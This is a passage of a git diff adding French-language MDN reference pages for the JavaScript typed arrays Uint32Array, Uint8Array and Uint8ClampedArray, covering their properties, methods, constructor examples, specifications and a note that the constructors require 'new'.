+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Uint32Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint32Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Uint32Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint32Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint32Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint32Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint32Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint32Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint32Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint32Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint32Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint32Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint32Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint32Array.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint32Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint32Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint32Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint32Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint32Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint32Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint32Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Uint32Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint32Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint32Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint32Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint32Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de créer un objet <code>Uint32Array</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var uint32 = new Uint32Array(2);
+uint32[0] = 42;
+console.log(uint32[0]); // 42
+console.log(uint32.length); // 2
+console.log(uint32.BYTES_PER_ELEMENT); // 4
+
+// Construction à partir d'un tableau
+var arr = new Uint32Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un tableau typé
+var x = new Uint32Array([21, 31]);
+var y = new Uint32Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(16);
+var z = new Uint32Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint32 = new Uint32Array(iterable);
+// Uint32Array[1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Englobée par ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA. <code>new</code> est obligatoire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié le constructeur <code>Uint32Array</code> afin qu'il utilise l'opération <code>ToIndex</code> et qu'il puisse être utilisé sans argument.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Uint32Array")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), <code>Uint32Array</code> doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>Uint32Array</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Uint32Array([1, 2, 3]);
+// TypeError: calling a builtin Uint32Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Uint32Array([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/uint8array/index.html b/files/fr/web/javascript/reference/objets_globaux/uint8array/index.html
new file mode 100644
index 0000000000..3e9c1599e6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/uint8array/index.html
@@ -0,0 +1,206 @@
+---
+title: Uint8Array
+slug: Web/JavaScript/Reference/Objets_globaux/Uint8Array
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+  - Uint8Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint8Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>Uint8Array</code></strong> représente un tableau d'entiers non signés, représentés sur 8 bits. Les éléments du tableau sont initialisés à <code>0</code>. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Uint8Array(); // apparu avec ES2017
+new Uint8Array(longueur);
+new Uint8Array(tableauTypé);
+new Uint8Array(objet);
+new Uint8Array(tampon [, décalage [, longueur]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page <em><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Syntaxe">TypedArray</a></em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint8Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Cette propriété renvoie la taille d'un élément du tableau, en octets. En l'occurence, pour <code>Uint8Array</code> ce sera <code>1</code>.</dd>
+ <dt>Uint8Array.length</dt>
+ <dd>La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint8Array.name")}}</dt>
+ <dd>Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour <code>Uint8Array</code> ce sera : "Uint8Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint8Array.prototype")}}</dt>
+ <dd>Le prototype des objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Uint8Array.from()")}}</dt>
+ <dd>Cette méthode permet de créer un nouvel objet <code>Uint8Array</code> à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Uint8Array.of()")}}</dt>
+ <dd>Cette méthode permet de créer un nouvel objet <code>Uint8Array</code> à partir d'un nombre variables d'arguments. Voir aussi {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_Uint8Array">Prototype <code>Uint8Array</code></h2>
+
+<p>Tous les objets <code>Uint8Array</code> héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Uint8Array.prototype.constructor</code></dt>
+ <dd>Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur <code>Uint8Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint8Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet <code>Uint8Array</code> Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint8Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie la longueur, exprimée en octets, de l'objet <code>Uint8Array</code> à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint8Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le nombre d'éléments contenus dans le tableau <code>Uint8Array</code>. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint8Array.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Uint8Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint8Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Uint8Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint8Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint8Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint8Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint8Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint8Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint8Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint8Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint8Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint8Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint8Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint8Array.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint8Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint8Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint8Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint8Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint8Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint8Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint8Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Uint8Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint8Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint8Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint8Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint8Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de construire un objet <code>Uint8Array</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var uint8 = new Uint8Array(2);
+uint8[0] = 42;
+console.log(uint8[0]); // 42
+console.log(uint8.length); // 2
+console.log(uint8.BYTES_PER_ELEMENT); // 1
+
+// Construction à partir d'un tableau
+var arr = new Uint8Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un tableau typé
+var x = new Uint8Array([21, 31]);
+var y = new Uint8Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8Array(buffer, 1, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint8 = new Uint8Array(iterable);
+// Uint8Array[1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Englobée par ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA. <code>new</code> est obligatoire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié le constructeur <code>Uint8Array</code> afin qu'il utilise l'opération <code>ToIndex</code> et qu'il puisse être utilisé sans argument.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Uint8Array")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), <code>Uint8Array</code> doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>Uint8Array</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Uint8Array([1, 2, 3]);
+// TypeError: calling a builtin Uint8Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Uint8Array([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/uint8clampedarray/index.html b/files/fr/web/javascript/reference/objets_globaux/uint8clampedarray/index.html
new file mode 100644
index 0000000000..f90e9a322b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/uint8clampedarray/index.html
@@ -0,0 +1,208 @@
+---
+title: Uint8ClampedArray
+slug: Web/JavaScript/Reference/Objets_globaux/Uint8ClampedArray
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+  - Uint8ClampedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>Uint8ClampedArray</code></strong> permet de représenter un tableau d'entiers non signés représentés sur 8 bits, dont les valeurs sont ramenées entre 0 et 255. Si une valeur non-entière est fournie, elle sera arrondie à l'entier le plus proche. Les éléments du tableau sont initialisés à <code>0</code>. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Uint8ClampedArray(); // apparu avec ES2017
+new Uint8ClampedArray(longueur);
+new Uint8ClampedArray(tableauTypé);
+new Uint8ClampedArray(objet);
+new Uint8ClampedArray(tampon [, décalage [, longueur]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page <em><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Syntaxe">TypedArray</a></em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint8ClampedArray.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Cette propriété renvoie la taille d'un élément du tableau, en octets. En l'occurence, pour <code>Uint8ClampedArray</code> ce sera <code>1</code>.</dd>
+ <dt>Uint8ClampedArray.length</dt>
+ <dd>La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Uint8ClampedArray.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint8ClampedArray.name")}}</dt>
+ <dd>Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour <code>Uint8ClampedArray</code> ce sera : "Uint8ClampedArray".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint8ClampedArray.prototype")}}</dt>
+ <dd>Le prototype des objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Uint8ClampedArray.from()")}}</dt>
+ <dd>Cette méthode permet de créer un nouvel objet <code>Uint8ClampedArray</code> à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Uint8ClampedArray.of()")}}</dt>
+ <dd>Cette méthode permet de créer un nouvel objet <code>Uint8ClampedArray</code> à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_Uint8ClampedArray">Prototype <code>Uint8ClampedArray</code></h2>
+
+<p>Tous les objets <code>Uint8ClampedArray</code> héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Uint8ClampedArray.prototype.constructor</code></dt>
+ <dd>Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur <code>Uint8ClampedArray</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint8ClampedArray.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet <code>Uint8ClampedArray</code> Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint8ClampedArray.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie la longueur, exprimée en octets, de l'objet <code>Uint8ClampedArray</code> à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint8ClampedArray.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint8ClampedArray.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le nombre d'éléments contenus dans le tableau <code>Uint8ClampedArray</code>. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint8ClampedArray.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint8ClampedArray.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
